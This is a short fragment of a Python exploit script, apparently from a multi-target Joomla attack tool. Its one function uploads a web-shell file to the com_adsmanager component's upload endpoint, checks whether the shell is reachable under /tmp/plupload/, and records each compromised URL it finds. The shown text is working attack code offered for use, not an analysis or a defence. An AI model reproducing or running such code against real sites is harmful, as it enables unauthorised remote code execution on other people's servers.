# com_adsmanager
def com_adsmanager(target, headers):
try:
s = requests.session()
endpoint = target+"/index.php?option=com_adsmanager&task=upload&tmpl=component"
img = open(shell_gif, 'rb')
files= {'image': img}
s.post(endpoint, files=files, headers=headers)
shellup = target + "/tmp/plupload/"+name_gif
checkShell = s.get(shellup, headers=headers, allow_redirects=False)
if checkShell.status_code == 200:
print(GREEN," [+] com_adsmanager ", shellup)
save(shellup)
else:
print(RED," [-] com_adsmanager ")
except requests.exceptions.ConnectionError:
print(RED," [-] com_adsmanager ")
# com blog